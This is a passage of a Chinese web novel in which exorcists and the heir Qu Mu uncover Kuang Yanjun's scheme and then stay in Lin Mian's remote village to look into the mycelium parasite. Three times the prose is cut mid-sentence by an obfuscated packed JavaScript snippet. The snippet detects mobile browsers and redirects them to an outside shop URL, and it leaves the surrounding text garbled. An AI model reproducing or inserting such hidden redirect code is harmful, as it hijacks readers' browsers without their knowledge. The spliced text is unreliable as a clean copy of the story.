瞿木侧过头,看了眼柳寂白,又看向走在最前边的秦宁和林眠,刚刚秦宁话里话外确实是想去林眠家,不过… 柳寂白这话是什么意思? 等下,秦宁为什么想去林眠家? 一个问题接一个冒了出来,瞿木感觉自己又要长脑子了。 走在中间的况衍君,微微侧头看了眼身后的柳寂白,若有所思的收回了视线。 柳寂白虽然是在和瞿木吐槽秦宁,但况衍君她总觉得哪里不太对劲。 就这么心思各异下,终于到了林眠的家。 “哎哟,林眠,你家还是大豪宅啊。”瞿木看到眼前这个大屋子,都不免感叹,“这还颇有设计感。” 林眠的家是用木头搭建而成的,和刚刚在外面看到的水泥房完全不一样,而且门采用的也是日式推拉门,门前还有个大花园,不过花园没人搭理,杂草丛生。 “豪宅?”林眠还是第一次听到有人这么夸赞自己的家,“他们都说我家是鬼屋。” “额。”瞿木皱了下眉,“谁说的?这么没眼光,什么鬼屋长这样啊?” 瞿木说着上前推开门,扑面而来的朱砂味让他下意识捂住鼻子,抬眼看去,屋内昏昏暗暗,第一眼便看到了一条长走廊,门窗都是老式花纹,乍一看,还真像是鬼屋。 …他…收回刚刚的话,谁家好人屋子这么黑啊?! “屋内怎么这么暗?没开窗?”秦宁走进来,打量了一眼周围。 林眠率先跑进去把窗户打开,说:“因为家里没人,我离开了,就把窗户什么的都关死了。” 打开窗户后,屋子里确实明亮许多。 大家伙都站着,打量着这间屋子,屋内基本没什么装饰品,也很少物品,只有桌椅之类的家具。 “你这屋子,看着真不像是住人的。”柳寂白摸了摸竹椅,发现上面没有灰尘,才一屁股坐下。 林眠也知道这里和外面的房子不太一样,甚至连个像样的电器都没有,唯一的电器就是灯。 “我倒是觉得,这里很清雅,很适合修行。”况衍君说道,他走到窗户处,看着窗外的景色,郁郁葱葱一片。 林眠眼眸一亮,看着况衍君,况衍君似乎也察觉到背后的目光,回头对林眠笑笑。 “装!”柳寂白翻了个白眼。 “花言巧语。”瞿木也翻了个白眼,他现在对况衍君没一点好感,而且这况衍君对林眠…感觉就是不太一样。 说完他在屋内转了转,对林眠说:“这房子确实挺不错的,又大又宽敞,感觉都能跑两圈了。” “你不能跑,这里有些地板不太好,踩的太用力会塌。”林眠连忙上前拉住瞿木说,她怕瞿木真的在屋子里跑。 瞿木刚刚抬起的脚,又默默地收了回来。这地板看着确实不太结实。 柳寂白看着他们两个,挑眉笑了笑。 只有秦宁在进屋后,只是浅浅扫射了一下周围,没发现异样,便将妖物的眼泪拿出来,对况衍君说:“衍君兄,麻烦你过来一下。” 信上说要银木邪性和妖物眼泪,不知道他们靠近了会有什么反应。 瞿木也走过来,紧张地咽了一下口水。他最近没感觉身体有什么变化,但还是对那封信耿耿于怀,现在两样物品都集齐了,还真不知道接下来会发生什么。 况衍君走过来,看着秦宁手上那滴妖物的眼泪,在阳光的折射下,眼泪折射出彩色的光芒。 他轻声说:“凝聚而不散,宛如珠宝一般的眼泪。你们真的拿到了。” “你了解?”秦宁问他。 大家的视线都看向况衍君。 柳寂白虽然和秦宁一样也是除妖师,但对于妖物的认识基本都来源于书籍上的记载,再加上现在妖物稀少,她长这么大,见到的妖物两只手都数得过来。 况且书籍上从未记载过妖物的眼泪。 因此,即使是除妖世家,她也是第一次知道这玩意。 “这个有什么用吗?”柳寂白问,她从秦宁拿出妖物的眼泪的时候,视线就没从这上面下来过。 “我们要怎么用这个救瞿木?”林眠不在乎这滴眼泪还有什么别的作用,她只想知道这滴眼泪怎么救瞿木。 “对啊,怎么救我?现在银木邪性在这,眼泪也在这。”瞿木凑上前,贴贴眼泪,又往况衍君身上凑凑,被况衍君嫌弃的往后挪了挪。 “可也没反应啊?难不成让我把眼泪吃掉?” “那好像有点恶心。” 瞿木说着,捂着自己的胸口处,虽然这玩意和普通的眼泪不一样,但到底是从眼睛里流出来的。 “妖物的眼泪,于大多数人而言,没有任何作用,它本身只有一个作用。”况衍君躲开瞿木后,才优哉游哉开口说。 大家都看向他,眼里透着不解。 况衍君也没打哑谜,眼睛一眯,笑着说:“那就是清除寄生者体内的菌丝。” “咽下去,你体内的菌丝就会消失,你就会变成普通人。” 秦宁看向自己手中的这滴妖物的眼泪,又抬头看向瞿木。 “还真是要吃下去啊?”瞿木抿着唇,表现的极其不情愿。体内没有菌丝了,他也就不用每天和林眠待在一起,只是…… “没有副作用?”瞿木问道,他怎么感觉事情没有那么容易? 况衍君笑了,说:“有,不过对于你而言,应该是好事。 “吃下去后,你会丧失掉所有关于菌丝的记忆,回到属于你自己的生活中。”况衍君又接着说,只是最后一句语气有些感叹:“多少人可遇而不可求。” 瞿木自动忽略况衍君的最后一句,有些炸毛地说:“忘掉?那我是不是就不记得这段日子的事了?还有林眠。” 况衍君看着瞿木,没有作出回答。 “那银木邪性是做什么?信上写的是银木邪性和妖物的眼泪。”秦宁觉得不对劲,况衍君是怎么知道这么多的? 况衍君突然笑起来,笑声在屋子里荡漾,说不上多么清脆好听,但却让人心里有种不安感。 瞿木现在就是这样,他下意识地抓住一旁林眠的手,看向她。 林眠对于现在的状况还有点摸不清,察觉到手上的温热时,她侧头看向瞿木。 “银木邪性只是个幌子罢了,目的是…让你们认识真正的银木。”况衍君停止了笑,眼神突然变得犀利。 “信是你写的。”秦宁的目光紧紧盯着况衍君,他大胆的做了个猜测。或者大家现在聚在这里,都是况衍君的圈套,那封信就是个引子。 况衍君也不辩解:“是我写的,也是我寄给瞿木的。” “你想做什么?”秦宁接着问,手已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701388|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经握紧了驱魔弓,在思考着况衍君的来历,他身上没有妖物的气息,按道理应该是人。 况衍君没有回答秦宁的问题,而是看向一旁的林眠,语气都温柔了几分:“你是祂选中的人。” 林眠听到这句话的时候,感觉心跳加速了几秒,这句话…和阿轻说的一样,他们口中的“祂”是菌丝吗? 自己是被菌丝选中的? “你到底想要做什么?”秦宁直接一个箭步上前,想把况衍君撂倒,但况衍君伸出手,挡住了他的招式。 两人就在屋内打了起来。 “这…这…”瞿木看着他们两个打起来,又看向还在发呆的林眠,怎么感觉事情越来越复杂了? 他现在都不知道自己该怎么办了。 况衍君和秦宁过了几招,似乎是玩腻了,就停手了。 “好了,不和你闹了。”况衍君落在门口处,拍了拍衣袖,说:“信是我写的,倘若我不写信,瞿家大少爷不就死定了?” “第二封信虽假,我也给了瞿家少爷选择,让他有机会摆脱妖物的寄生。于情于理,你们都应该感谢我才是。 “至于银木邪性…” 说到这里,况衍君停顿了一下,轻笑了一声,“秦家自认为对银木邪性很了解,却也只知道银木邪性最表面的,使人变得好运、贪心,罔顾他人性命,从而产生浊气。这就是银木邪性的力量来源。” “抛开这些,银木最本质的是什么?” 况衍君问他们,没有一个人可以回答。 “你为什么要做这些事?”秦宁大致听明白了况衍君的意思,可是不明白他为什么要参与这件事。 况衍君没有回答,而是转身往外走。 “你和无支祁是什么关系?”柳寂白突然问。她刚刚一直在观察况衍君,刚刚那几个动作,她一眼便认出来了。 自己之前在找无支祁的线索时,与这个人对上过。 况衍君走到院子门口,听到柳寂白的话,他才说了一句:“过不了多久,无支祁大人就会再现。” 说完,况衍君就凭空消失在门口。 屋子里的四人沉默地看着院子外。 “他…真不是人。”瞿木出声打破了这份沉默。他看着况衍君凭空消失,第一个反应就是这个。 “他和无支祁有关系。”柳寂白目光一沉,看来她这次来埠山镇没有来错,可无支祁的人为什么插手瞿木和林眠的事? 秦宁没说话,满脑子都在思考银木邪性的本质是什么?难道银木还有别的作用? 据古籍上记载,第一个发现银木的人是文家的除妖师,之后银木碾转在不同人手上,这又为银木添加了许多记载。 林眠看着他们三个,每个人都皱着眉头,又看了看时间,现在已经下午两点了,他们都还没吃饭,便问:“要不我们先吃饭?吃完饭再去想?” 大伙一听到“吃饭”,都有些无奈地看向林眠,这会儿只有她才能没心没肺的想吃饭了。 “去哪吃?”瞿木一向很捧场。他记得来的时候,盖山村可是一家饭馆都没。 “我家有米,菜…我去后面看看,没人搭理可能长得不是很好。”林眠说。 秦宁也回过神来,对林眠说:“谢谢林小姐,我不挑食,能吃就行。” “我也一样。”柳寂白说。 林眠见他们这么说,就去准备了。 屋里瞬间又安静了下来,秦宁闭上眼在思考,柳寂白将手放在下巴处,眼神一直盯着前面的竹桌。 瞿木看着他们两个,实在是受不了这个安静的氛围,就跑去找林眠了,顺便帮下忙。 37. 寄宿林家 林眠正在用木勺从一个袋子里舀出米来,放进一个圆形的不锈钢铁盆里,再去一旁的水井边打水。 瞿木快步走到井边,抢过水桶说:“我来,女孩子不能干这种活。” “可是,你行吗?”林眠看着瞿木将水桶放下去,瞿木生活在大城市中,肯定没有干过这种活。 瞿木一听,顿时力量爆棚,慷锵有力地说:“男人不能说不行。” 林眠:? 只是瞿木话一出,发现这水桶打上水,还真沉,他在林眠的注视下,也不好展露出吃力地表情,只能咬着牙把水桶提上来。 提上来的时候,他将水桶放在地上,点头示意:“我强吧?” “嗯,很强。”林眠敷衍的说完,就从里面舀水淘米。 淘好米后,她就要走到灶旁边,拿起旁边的干柴塞进灶里,用火柴开始生火。 瞿木站在旁边,怎么看怎么稀奇,他问:“为什么不用火机?” “没有火机,而且这个也很好用,一盒能用好久呢。”林眠坐在小板凳上,生好火后才坐直看向瞿木。 外面是白天,室内是昏暗的,灶里跳动的火光映射在林眠的脸上,瞿木却觉得林眠出奇的好看。 “我不想忘记你。”瞿木突然说。 林眠歪着头,想到那滴眼泪,便说:“那就不吃掉眼泪就好了。” “这样你就不会忘记我了,但也不能离开我。” 瞿木听着林眠这活泼的语气,不免好笑地问她:“你很希望我陪在你身边?” 林眠一愣,随即低下头认真的思考了一番。 “你也不用这么严肃,我就…随口说说。”瞿木瞬间不是很自然了。 “好像,也没有很希望。”林眠抬起头对瞿木说,“如果你忘记我了,就没人给我发五万块钱一个月的工资了。” 那也太亏了,她才只领了一个月的薪水。 瞿木看着她脸上的惋惜之情,摆明就是舍不得那五万块钱!他堂堂瞿家大少竟然比不过五万块钱? 意识到这个,他感觉自己的心碎成两半了。 “你不用这么诚实,谢谢。”瞿木没眼看了,侧过身,背对着林眠。 林眠不太懂,“诚实不是美好品德吗?” “谁说的?” “书上这么写的。” 瞿木无语地转过身来,看着林眠,举手做投降状,说:“你说的没错,诚实确实是美好品德。” 林眠见火生的旺,就起身从旁边拿起一个菜篮子,说:“我要去摘菜了。” “我跟你一起,反正我也没事做。”瞿木跟在林眠身后,主要是这房子周围都是丛林树木,让林眠一个人去,怎么也不够绅士。 “还是我们两好,那两个除妖师被况衍君弄的,正在屋子里面绞尽脑汁,冥思苦想。”瞿木跟在林眠身旁,有一搭没一搭地说着。 “现在我也没事了,无支祁也不是我们能对付的,我们还是赶紧回北城吧。”瞿木说着说着,抬眼一看,怎么感觉越走越荒凉了? 虽然林眠家本来就地处很荒凉的地方。 “你家菜园子要走这么远?”瞿木忍不住问。 “马上到了。”林眠扒拉开一丛长得快比人高的草,指着前边的那块地说:“就是那里。” 瞿木一眼看过去,全是草,实在看不出来哪里有菜。 “我们饿一晚上…也不是不行。”瞿木小声说,可林眠根本没听到他说的,已经跑到那块长满杂草的地里面去了。 林眠半蹲下身,在杂草里面挖呀挖,时不时拿出手机拍张照,又接着挖,没多久,菜篮子就装满了。 “好了,今晚只能吃这个青菜了。”林眠看着篮子里的菜,总觉得有些单调,便说:“我们再去采点蘑菇?” “这里湿漉漉的,看样子最近下过雨,蘑菇什么的肯定很多。” 瞿木很想拒绝,可看着林眠兴致勃勃的样子,他还是勉为其难地点头了。 不过,想要吃蘑菇,林眠自己就可以产蘑菇吧。瞿木漫不经心的想着,他还记得林眠给自己展示如何把菌丝变成蘑菇。 林眠对山里的状况很清楚,简直就是轻车熟路,采蘑菇也很快,没一下子,她的小篮子就装不下了。 “这些够我们四个人吃吗?”林眠问。 “够了够了。”瞿木赶紧回答,他现在也不敢吃蘑菇,多看几眼他都能想到那个噩梦。 “好吧。”林眠也觉得差不多了,就领着瞿木原路返回。 回到屋子的时候,瞿木直接瘫在竹椅上,这爬山真费体力啊,可把他累的够呛。 秦宁和柳寂白似乎达成了某种协议,把皱着的眉头也松开了。他们也不会白吃白喝林眠的,主动的收拾起了桌子,摆碗筷。 等到林眠把饭菜端上来的时候,大家早就饥肠辘辘了。 桌上就一道炒青菜,具体什么青菜,瞿木也认不出来,还有一道炒菌子,什么菌子他也不认识。 瞿木对吃的一直很挑剔,他看着自己碗里的米饭,不是雪白雪白的,而是带着一点黄,米尖尖处还有一点黑。 秦宁和柳寂白没出声,埋头吃饭。他们天天在外跑,对吃的什么早就已经没什么要求了,主打一个吃不死就行。 “你不爱吃吗?”林眠见瞿木迟迟不夹菜,问他,还说:“我炒的应该还可以。” 瞿木一对上林眠的眼睛,哪能说不吃,而且这是林眠炒的,高低都得给点面子,便伸出筷子准备去夹菜。 这还没夹到呢,就听到柳寂白在旁边讽刺自己。 “瞿家大少爷哪里看得上这些菜?你不用管他,还是不够饿,饿了就什么都吃。”柳寂白说着,拍了拍林眠,示意她快吃饭。 “哦。”林眠点点头,这些菜确实进不了瞿木的眼,自己不应该难为他吃这些,便对瞿木说:“你不想吃就不要勉强了,只是山里没有别的吃的了。” “或许我去祝奶奶家要一只鸡?她家养了不少鸡。”林眠说着,又问瞿木。 瞿木感觉自己下不了台了,这筷子夹也不是,不夹也不是。都怪柳寂白,自己也没得罪她啊?张口就是瞿大少爷、瞿大少爷的。 他脑子里转了个弯,还是夹了一筷子的青菜到自己的碗里,说:“我不勉强,我刚刚只是在犹豫夹哪个菜而已。” “我虽然有钱,也不是那么讲究的人。”瞿木义正言辞地说完,就一口吃掉碗里的青菜,又快速地扒了一口饭。 一边咀嚼,一边在心里评价。 青菜炒的还不错,咸淡适中,就是米饭偏硬,口感…太差了。 林眠见瞿木吃了,也就放心了些,山里是真没什么吃的,现在也不允许进山捕猎了。她还是很遵纪守法的。 秦宁看了眼瞿木,没说话,接着吃。 吃过饭后,已经是下午四点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715256|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟了。 收拾好桌子后,四个人围在一起坐着。 瞿木看着他们三个,清咳了一声,开始发表言论:“这些时间很感谢大家的照顾,特别是秦宁和林眠,虽然被证实这封信只是吓唬我的,但事情也算是解决了。” “因此,我们…趁着天没黑赶路下山?” “拒绝。”柳寂白第一个说。 秦宁紧接其后:“不行。” “为什么?”瞿木不解,难道还有什么事么? “我想,这里和菌丝脱不了干系,想留下调查调查。”秦宁解释说。 柳寂白看了眼瞿木,也说:“那个况衍君不是说了么?无支祁会出现,那我肯定不能走,也得留下来,在这观察观察。” “而且,况衍君是故意引我们来这里的,虽然不知道原因,但就这么走了,未免浪费他的一份苦心了。”秦宁接着说。 柳寂白说:“银木邪性在他的身上,他又是无支祁的人,无支祁却还在那个网页上发布银木邪性的悬赏。” “这不太对。但况衍君又把我们引到这里来,这里唯一有联系的就是——” “菌丝。”秦宁和柳寂白同时开口。 瞿木听得一愣一愣的。 “况衍君对菌丝很了解,还知道如何消灭菌丝的寄生。”秦宁说到这儿,就觉得更有必要留在盖山村,调查一下情况。 “林小姐,这几天可否借宿在你家?”秦宁问林眠。 林眠和瞿木一样,听着他们两个你一句我一句的,也很懵,见秦宁问自己,便点头答应,“可以的,只是空房间长久没人住了,需要打扫。” “那我们现在去打扫,这些天叨扰了。”秦宁起身,说着就准备去打扫房间出来住了。 林眠只能带着他们去安排房间。 瞿木愣在原地,不是,就这么决定了?有没有人问过自己的意见啊? 林家房间很多,但大多都隔的不近,东西南北几个方向都有房间分布。 林眠给他们分配好房间后,看着在后面蔫蔫的瞿木,拉过他说:“你住这一间,隔壁就是我的房间。” 瞿木一听,瞬间眼睛一亮,又听林眠说:“这样你就不会离我超过十米了。” “哦。”瞿木又蔫了下去。 “不过这间房是最好的,而且也是最干净的。”说这句话的时候,林眠还特地压低了声音。 瞿木感觉自己又有精神了,也有心情去打量这间房间,嘴里还是傲娇地说着:“是吗?我看看,不干净你可得给我收拾干净了。” 房间很简朴,只有一张木床,一个木桌子,一个木凳子。木床上铺了竹席,还有个竹席枕头。 床边有一扇窗,恰好能看到外面的天,正直傍晚,天空是一片粉色,好看极了。 瞿木看了看,点点头,“还行,勉强能住吧。” 林眠见瞿木愿意了,才赶紧去找秦宁他们,带他们去拿被子,因为家里以前只有她和奶奶,多余的被子全都收到了阁楼处。 搬了梯子,秦宁先爬上去,林眠再爬。下面是瞿木和柳寂白,两人在下面负责接被子。 秦宁看到阁楼处有两个房间,站着没动,等林眠吩咐。但他视线余光撇到,有一间房间里,都是书架,上面放了很多书籍,上面落了一层层的灰。 “被子在这一边。”林眠说。 秦宁回过神来,去另一间房搬被子。 38. 阁楼书架 弄好床铺后,天已经黑了。 好在林家还是有电灯的,只是过于老旧了。 到了晚上,村子里一片寂静,也没有什么娱乐活动。大家也就准备各回各屋,先睡个好觉,明日起来再调查。 秦宁在林眠回去时,叫住了她。 “林小姐,楼上有一间房,放满了书籍,我能去看看嘛?”秦宁礼貌地问林眠。 林眠抬头看向阁楼处,说:“那里都是我奶奶的遗物,你不介意吗?” 她知道山下的人都是很忌讳这些的。之前收拾奶奶的遗物时,她就把这些都放到阁楼上面了。 “不,人死是一件很正常的事情,既有生,就有死。林小姐不必担忧。”秦宁说道。 林眠点点头,说:“我去给你搬梯子。” “我来就行。”秦宁先林眠一步,去把放在旁边的梯子搬来。 林眠也只能随他去了,自己便往自己的房间走过,路过瞿木的房间时,看到门缝处发出细微的黄光,看来瞿木还没准备睡。 瞿木躺在床上,看着头顶上的电灯,发着柔和的黄光,不刺眼,看着还挺像家里的小夜店。就是这床实在是太硬了,他长这么大,第一次睡到这么硬的床。 林眠这些天在瞿木家养成了新的习惯,这么早还睡不太着了。她拿出手机看了看,发现这里还有微弱的信号。 她今天还拍了好几张照片,都没来得及发,趁现在有微弱的信号,赶紧发了。 瞿木躺在床上,睡不着,他回想起今天林眠摘菜的时候拍的照,想到她应该会发朋友圈,就拿出手机看了一眼。 果然,还真发了。 配文是【回家了。】 底下是个图片九宫格,瞿木一张一张地看了,都是今天拍的。 晚上睡不着,他点开林眠的朋友圈,划到最底部,他想从最开始,他们还不认识的时候,那会儿她应该也喜欢每天发好几条朋友圈。 结果,瞿木看着仅三个月可见的时候,愣住了。三个月前他已经和林眠认识了! 他还是把这三个月的朋友圈刷完了,一边看,一边忍不住笑了,她怎么不管看到什么,都拍了照片?还怪可爱的。 看完三个月的朋友圈,瞿木看着底部的“仅三个月可见”,心里就像是有一根羽毛在挠,挠的他抓心挠肝的。 好想看啊,好想看啊,好想看啊。 瞿木躺在木床上,感受着竹席的冰凉,看着头顶的灯。 不知道怎么的,头顶的黄灯变成了刺眼的白光。 “哐哐” “哐哐” “瞿木,该起床了。” 瞿木猛地睁开眼睛,看着头顶的黄光,在太阳热烈的照射下,微弱的黄光显得暗淡极了。他捂住眼睛,满脑子都在思考,自己是一觉睡到了天亮吗? 好久没睡的这么安稳了。 瞿木从床上下来,打开门,见到林眠,她头顶上还戴了个黄色头巾,将头发扎起,手上还端着一个篮子。 “你醒了,再晚一点,都可以吃午饭了。”林眠说道,还歪头朝里面看去,发现灯还亮着,不满地说:“你怎么睡觉还开灯啊?要交电费的。” 瞿木抽了抽嘴角,说:“电费我给你补上行不行?” “还有,你这个头巾,挺别致的。”瞿木说着,忍不住上手摸了下。 林眠仰起头,躲开瞿木的手,说:“给你留了早饭,快去吃吧。” “行。”瞿木说着,就去院子外的井边洗漱。等他洗漱完,吃完早饭,回到客厅堂屋处,只有柳寂白在下面坐着,手里还捧着一本书在看。 “秦宁呢?” “你在看什么?”瞿木走过去,好奇地打量了一下这本书,这书皮老的都不行了。 柳寂白放下书,看向瞿木,说:“你没事干?” 瞿木呆住,点头。他刚吃饱,确实没什么事干。 不对,你们都很有事情干吗? “那你的任务就是,今天和林眠出去打探一下。”柳寂白对瞿木说,不容置喙。 瞿木没反应过来,“打探什么?” “盖山村是菌丝的诞生地,当地的村民肯定知道些什么,尤其是年纪大的老人家,你和林眠去问问。”柳寂白耐着性子给瞿木解释,并指了指自己腿上的书,说:“我和秦宁忙着查阅资料,所以没法去。” “这书哪来的?”瞿木皱着眉,低下头看着这本书上的字,看着和现代的汉字有些不一样,说是繁体字,也不太像。 “书是我奶奶的遗物,在阁楼上。”林眠一进堂屋,就听到瞿木的问题,便回答了。 瞿木回过头,见林眠正在不慌不乱的把头巾摘下,捋了捋头发后,问他:“我们现在去吗?” “对了,记得主要问传说,故事之类的。”秦宁从阁楼上探出个脑袋,说。 瞿木抬头看了一眼,叹了口气说:“知道了。” 他走上前,一把揽住林眠,颇有些吊儿郎当地说:“走吧。” 林眠满头是汗,她和瞿木出了门之后,指了指前面的路,说:“我们先出去到大路上,我家附近没什么人家。” “嗯。”瞿木点点头,这点他还是知道的。别人家至少都建在比较平缓的地方,林眠家那跟在山里没什么区别了。 “你家为什么要建的这么偏僻啊?我看周围也有很多平地啊。”瞿木找了个话题和林眠聊。 林眠思考了一下,说:“我也不太清楚,可能是奶奶不太喜欢和别人交流吧。” “在我有记忆以来,奶奶从不和村里人打交道,村里人也不爱来我家,只有小孩子会来,不过他们都说我家是鬼屋。” 瞿木这是第二次听到林眠说自己家是鬼屋了,她每次说的时候都很淡漠,这让瞿木都不知道该安慰还是该…… 哎,总之这种感觉很难说清楚。 他突然想到,之前卫叔给自己看的资料里有写,林眠的奶奶是神婆。 或许是因为这个原因?毕竟人都不太喜欢神神道道的。 林眠倒没多想过,奶奶不爱去村子里,她倒是经常去,村里人不多,互相都认识。但大家好像都很怕奶奶,也连同着对自己也不太好。 瞿木见林眠一脸不在乎的模样,心里不太好受,在小村子里不受待见该多难受啊,被排挤了一样。 “秦宁说要找年纪大的,我们去村口处?”林眠看了看周围,田里长满了农作物,村里寂静极了,连个人影都看不到。 “行。”瞿木第一次来到这么偏僻的村子,那自然是都要听林眠的。 两人沿着村里唯一的水泥路走。 “村子里没有小孩了吗?”瞿木问,昨天进村的时候,还遇到了几个老人家,小孩是一个都没看到。 “有呀,这个点应该都去镇上上学了。”林眠说,“现在村子里小孩都不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721256|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都统一到镇上上学了,要晚上才能回来。” 瞿木心想也是,这里去镇上也不算特别近。 “前面怎么有个小年轻?”瞿木看着不远处,一个挑着东西的男人,看这模样大约才二十出头。 在这山村里,瞿木第一反应就是这不是人,顿时紧张了起来。 “是阿牛哥。”林眠抬头看去,脸上露出笑容,有些激动地说,随后便小跑着过去。 瞿木站在原地,阿牛哥?这名字也太土了吧。他们看起来好像很熟的样子,该不会是青梅竹马吧? 林眠小跑到牛饮春的身边,说:“阿牛哥,我回来了。” “我听祝奶奶说了,正准备去你家找你。”牛饮春将肩上的担子放下,看着林眠说:“你和之前不太一样了。” 林眠低下头,看了看自己,问:“哪里不一样?” “哈哈,长的肯定还是一样好看,就是给人的感觉不太一样了。”牛饮春挠了挠头,有些腼腆的笑着。 林眠从口袋里拿出自己的手机,递给阿牛哥,说:“我现在有手机了,我们加个好友吧。” 之前她就见过阿牛哥的手机,那会儿在村里她觉得自己也用不太上,后面去了城市里才买了,觉得手机是真方便。 “你终于有手机了。”牛饮春也感到高兴,有了手机,之后即使林眠再离开村里,也能联系上。 “嗯嗯。”林眠点头。 两人成功的加上了好友。 瞿木板着一张脸走过来,看着他们两个相处的这么融洽,有这么一瞬间,他突然觉得自己是个外人! “阿牛哥,我现在要去村口,你先回去吧,明天有空了我再去找你。”林眠还没忘记正事,她今天答应了秦宁,要去村子里调查。 “行,不过…”牛饮春看向一旁的拉着个脸的男人,问“这位是?” 瞿木终于得到一点关注了,他在这怎么说也站了快有一分钟了,林眠连个眼神都没给自己。 “我叫瞿木,是林眠的…奶奶的朋友的孙子,是世交。”瞿木介绍完自己,朝牛饮春伸出手。 牛饮春看了眼林眠,才伸出手和瞿木握手,说:“我叫牛饮春,和林眠是儿时玩伴。” “嗯。”瞿木轻点了一下头,看了眼自己和牛饮春的握手处,牛饮春的手很黑,就像是摸了一层棕色的蜡油一样,衬的瞿木都觉得自己白了不少。 “你们来村子里是有事吗?”牛饮春问,他也听到了一些风声,说是林眠带来了好几个年轻人。 “嗯,有些事。”瞿木很是疏离的回答,并用眼神示意林眠不能多说。 林眠没看明白瞿木的意思,但她看了看时间,还是先忙正事要紧。便同牛饮春说:“阿牛哥,我们先去了。” “好。”牛饮春点点头,看着他们两个快步朝前面走去。他突然想起,最近丰收了不少毛豆,他本来想给林眠送点的,但现在… 自己还是晚上的时候给她送过去吧。 林眠出去了几个月,家里估计也没什么吃的了。 “阿牛哥,你叫的真亲切。”瞿木突然冒出一句没头没尾的话。 林眠看向瞿木,不解地说:“村子里的人都叫他阿牛哥。” “那我爷爷还叫我木木呢。”瞿木反驳说,小时候的称呼,长大后再叫…多别扭啊。 林眠反应过来了,恍然大悟地对瞿木说:“你希望我叫你木木?” 39. 诅咒 “不是这个意思!”瞿木感觉一股热气涌上脸上,木木…是爷爷喜欢这么叫的,他从小就觉得这个称呼有些难为情,但爷爷喜欢,他也就接受了。 但林眠这么叫自己…一想到他就完全无法淡定了,嘟嘟囔囔地说:“我家里…也只有爷爷叫我木木。” “那你希望我叫你什么?” “什么希望?你叫我瞿木就行了。”瞿木感觉越说,自己好像变得越难堪了。 林眠看着瞿木越走越快,自己都快跟不上了,怎么感觉他好端端的生气了? “祝奶奶!”林眠原本想去追瞿木,刚好看到旁边岔路上的祝奶奶,便叫住了她。 “诶。”祝奶奶回过头,看到林眠,热情地朝她招招手,“眠眠,要去家里坐坐不?这几个月不见,你长大了。” 林眠本想点头答应,可看到前面的瞿木,又犹豫了,对祝奶奶说:“祝奶奶,你等我一下。” 说完,林眠就跑上前去找瞿木。 瞿木已经察觉到林眠没跟上来了,心里又有些懊恼,自己这是怎么了?本来也没什么事,就感觉到烦躁。 “瞿木,我遇到祝奶奶了,祝奶奶是村子里年纪最大的,我们去问问她?”林眠快速的把自己的想法说出来。 瞿木也分得清事情的轻重,但回过头看到林眠,还是露出勉为其难的表情,并僵硬地点点头。 林眠见瞿木答应,便上前拉住他的手臂,带着他往回走,并指着那条小岔路说:“祝奶奶的家就在那附近。” 瞿木看向自己的胳膊上的手,不自然的咳嗽了一声。 走到岔路口,跟着祝奶奶回了祝家。 祝家在村子里算是豪宅了,屋子不仅是用水泥钢筋砌的,还贴了瓷砖。走进屋里,家电设施一应俱全,电视还正在放着节目。 和林眠家形成鲜明对比。 “看电视,你不在了,都没人来陪我看电视了。”祝奶奶坐着,有些叹气地说,“我老了,也不知道能活多久了。” “奶奶,你为什么不搬到城里去?”林眠坐到一旁的沙发处,好奇地问。她知道祝奶奶的儿子在城里买了房,之前也说过要接她过去,但是祝奶奶不愿意过去。 瞿木见状,也老老实实地坐在林眠旁边,看着这个慈祥的老奶奶。 “我年纪大了,去城里会被人嫌弃。”祝奶奶说,她苍老的眼珠看向瞿木,问:“眠眠,这个是你的男朋友吗?” 还不等林眠回答,瞿木就先手足无措地说:“不…不是,我们只是朋友。” “嗯嗯,奶奶,他叫瞿木。”林眠看了眼有些奇怪的瞿木,才说话。 “哦哦,你也是个好孩子。”祝奶奶对着瞿木笑着说,又看向林眠,接着说:“你长大了,也该有男朋友了,村里的阿牛也还没找女朋友。” 瞿木原本还心情比较好,毕竟被老人家夸了,但听到“牛”这个字,他顿时就垮下脸了,怎么突然就提到牛饮春了。 “阿牛哥想找女朋友吗?”林眠没听出祝奶奶的言外之意,只是问。但转头一想,自己也没认识几个人,也没法介绍。 “哎,我看大牛在张罗着,也不知道怎么样了。”祝奶奶虽然年纪大,但脑袋还很清醒,村里的事都知道些。 林眠点点头,她也没忘记正题,问祝奶奶:“祝奶奶,我们村子里有没有什么神话传说啊?” 瞿木在旁边已经蔫吧了,有气无力的倚靠在沙发上,仰着头,但也在听着林眠和祝奶奶的聊天。 